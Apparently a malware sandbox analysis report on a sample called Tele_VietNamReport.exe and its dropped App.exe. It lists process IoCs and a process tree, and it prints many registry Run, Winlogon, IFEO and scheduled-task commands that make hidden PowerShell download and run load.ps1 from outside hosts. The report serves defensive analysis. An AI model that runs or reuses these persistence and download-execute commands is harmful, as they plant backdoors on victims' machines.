3872	App.exe
3872	App.exe
3872	App.exe
3872	App.exe
3872	App.exe
3872	App.exe
3872	App.exe
3872	App.exe
3872	App.exe
3872	App.exe
3872	App.exe
3872	App.exe
3872	App.exe
3872	App.exe
3872	App.exe
3872	App.exe
3872	App.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
2980	explorer.exe
3872	App.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

description	pid	Process
Token: SeDebugPrivilege	4744	powershell.exe
Token: SeDebugPrivilege	1196	powershell.exe
Token: SeDebugPrivilege	3268	Tele_VietNamReport.exe
Token: SeDebugPrivilege	3872	App.exe
Token: SeDebugPrivilege	3872	App.exe
Token: SeDebugPrivilege	2416	powershell.EXE
Token: SeDebugPrivilege	4220	powershell.exe
Token: SeDebugPrivilege	736	powershell.exe
Token: SeDebugPrivilege	4620	powershell.exe
Token: SeDebugPrivilege	5060	powershell.exe
Token: SeDebugPrivilege	1068	powershell.exe
Token: SeDebugPrivilege	4064	powershell.exe
Token: SeDebugPrivilege	4308	powershell.exe
Token: SeDebugPrivilege	1380	powershell.exe

Suspicious use of SetWindowsHookEx 18 IoCs

pid	Process
2980	explorer.exe
2980	explorer.exe
3564	explorer.exe
3564	explorer.exe
3828	explorer.exe
3828	explorer.exe
1788	explorer.exe
1788	explorer.exe
4476	explorer.exe
4476	explorer.exe
4556	explorer.exe
4556	explorer.exe
2064	explorer.exe
2064	explorer.exe
5072	explorer.exe
5072	explorer.exe
4600	explorer.exe
4600	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3268 wrote to memory of 1952	3268	Tele_VietNamReport.exe	88
PID 3268 wrote to memory of 4836	3268	Tele_VietNamReport.exe	90
PID 3268 wrote to memory of 2056	3268	Tele_VietNamReport.exe	92
PID 1952 wrote to memory of 568	1952	cmd.exe	94
PID 3268 wrote to memory of 3688	3268	Tele_VietNamReport.exe	95
PID 3268 wrote to memory of 2680	3268	Tele_VietNamReport.exe	97
PID 3268 wrote to memory of 4968	3268	Tele_VietNamReport.exe	99
PID 3268 wrote to memory of 2148	3268	Tele_VietNamReport.exe	101
PID 4836 wrote to memory of 3840	4836	cmd.exe	102
PID 2056 wrote to memory of 4988	2056	cmd.exe	104
PID 3688 wrote to memory of 1368	3688	cmd.exe	106
PID 2680 wrote to memory of 3876	2680	cmd.exe	107
PID 2148 wrote to memory of 4064	2148	cmd.exe	108
PID 4968 wrote to memory of 1724	4968	cmd.exe	109
PID 3268 wrote to memory of 2820	3268	Tele_VietNamReport.exe	120
PID 3268 wrote to memory of 960	3268	Tele_VietNamReport.exe	122
PID 960 wrote to memory of 4204	960	cmd.exe	124
PID 2820 wrote to memory of 4320	2820	cmd.exe	125
PID 960 wrote to memory of 3872	960	cmd.exe	130
PID 896 wrote to memory of 460	896	App.exe	131
PID 896 wrote to memory of 1104	896	App.exe	133
PID 896 wrote to memory of 2852	896	App.exe	135
PID 896 wrote to memory of 1908	896	App.exe	137
PID 896 wrote to memory of 3308	896	App.exe	139
PID 460 wrote to memory of 4224	460	cmd.exe	140
PID 896 wrote to memory of 4900	896	App.exe	142
PID 896 wrote to memory of 3596	896	App.exe	144
PID 1104 wrote to memory of 1608	1104	cmd.exe	146
PID 1908 wrote to memory of 4124	1908	cmd.exe	147
PID 2852 wrote to memory of 2404	2852	cmd.exe	148
PID 4900 wrote to memory of 4208	4900	cmd.exe	149
PID 3308 wrote to memory of 3448	3308	cmd.exe	150
PID 3596 wrote to memory of 4856	3596	cmd.exe	151
PID 3872 wrote to memory of 376	3872	App.exe	152
PID 3872 wrote to memory of 5088	3872	App.exe	154
PID 3872 wrote to memory of 1168	3872	App.exe	156
PID 3872 wrote to memory of 1536	3872	App.exe	158
PID 3872 wrote to memory of 3112	3872	App.exe	160
PID 5088 wrote to memory of 5084	5088	cmd.exe	162
PID 3872 wrote to memory of 2792	3872	App.exe	163
PID 376 wrote to memory of 476	376	cmd.exe	165
PID 3872 wrote to memory of 3820	3872	App.exe	166
PID 1536 wrote to memory of 3368	1536	cmd.exe	168
PID 1168 wrote to memory of 3668	1168	cmd.exe	169
PID 3112 wrote to memory of 4268	3112	cmd.exe	170
PID 2792 wrote to memory of 4008	2792	cmd.exe	171
PID 3820 wrote to memory of 4652	3820	cmd.exe	172
PID 3872 wrote to memory of 636	3872	App.exe	176
PID 3872 wrote to memory of 3212	3872	App.exe	178
PID 3872 wrote to memory of 4748	3872	App.exe	180
PID 3872 wrote to memory of 2676	3872	App.exe	182
PID 3872 wrote to memory of 4080	3872	App.exe	184
PID 636 wrote to memory of 2152	636	cmd.exe	185
PID 3872 wrote to memory of 564	3872	App.exe	187
PID 3872 wrote to memory of 3304	3872	App.exe	189
PID 4080 wrote to memory of 692	4080	cmd.exe	191
PID 4748 wrote to memory of 700	4748	cmd.exe	193
PID 3212 wrote to memory of 3828	3212	cmd.exe	194
PID 2676 wrote to memory of 5020	2676	cmd.exe	195
PID 564 wrote to memory of 4068	564	cmd.exe	196
PID 3304 wrote to memory of 4684	3304	cmd.exe	197
PID 3872 wrote to memory of 2260	3872	App.exe	203
PID 3872 wrote to memory of 1148	3872	App.exe	205
PID 3872 wrote to memory of 2952	3872	App.exe	207

C:\Users\Admin\AppData\Local\Temp\Tele_VietNamReport.exe
"C:\Users\Admin\AppData\Local\Temp\Tele_VietNamReport.exe"
1⤵
- Checks computer location settings
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3268
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1952
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:568
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4836
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:3840
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2056
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:4988
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3688
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    - System Location Discovery: System Language Discovery
    PID:1368
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2680
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    PID:3876
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /sc onlogon /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4968
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /sc onlogon /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1724
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2148
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4064
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "App" /tr '"C:\Users\Admin\AppData\Roaming\App.exe"' & exit
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2820
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /sc onlogon /rl highest /tn "App" /tr '"C:\Users\Admin\AppData\Roaming\App.exe"'
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4320
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp9CB8.tmp.bat""
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:960
- - C:\Windows\SysWOW64\timeout.exe
    timeout 3
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:4204
- - C:\Users\Admin\AppData\Roaming\App.exe
    "C:\Users\Admin\AppData\Roaming\App.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Reads the TCP/IP host and domain name from the registry
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3872
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:376
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
        5⤵
        Adds Run key to start application
        
        PID:476
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5088
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
        5⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        
        PID:5084
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:1168
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
        5⤵
        Event Triggered Execution: Image File Execution Options Injection
        System Location Discovery: System Language Discovery
        
        PID:3668
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:1536
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
        5⤵
        Modifies WinLogon for persistence
        
        PID:3368
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3112
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
        5⤵
        Registers new Windows logon scripts automatically executed at logon.
        
        PID:4268
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /sc onlogon /f
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:2792
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4008
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /sc minute /mo 5 /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3820
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /sc minute /mo 5 /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4652
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')\"" /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:636
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')\"" /f
        5⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        
        PID:2152
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3212
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')\"" /f
        5⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        
        PID:3828
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4748
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')\"" /f
        5⤵
        Event Triggered Execution: Image File Execution Options Injection
        System Location Discovery: System Language Discovery
        
        PID:700
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:2676
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')\"" /f
        5⤵
        Modifies WinLogon for persistence
        
        PID:5020
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4080
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')\"" /f
        5⤵
        Registers new Windows logon scripts automatically executed at logon.
        System Location Discovery: System Language Discovery
        
        PID:692
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')\"" /sc onlogon /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:564
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')\"" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4068
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')\"" /sc minute /mo 5 /f
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3304
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')\"" /sc minute /mo 5 /f
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:4684
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      PID:2260
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
        5⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        
        PID:5024
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      PID:1148
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
        5⤵
        Adds Run key to start application
        
        PID:2540
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      PID:2952
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
        5⤵
        Event Triggered Execution: Image File Execution Options Injection
        
        PID:4156
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
      4⤵
      PID:2236
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
        5⤵
        Modifies WinLogon for persistence
        System Location Discovery: System Language Discovery
        
        PID:884
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      PID:3436
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
        5⤵
        Registers new Windows logon scripts automatically executed at logon.
        
        PID:4176
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /sc onlogon /f
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      PID:1136
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /sc onlogon /f
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:2044
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /sc minute /mo 5 /f
      4⤵
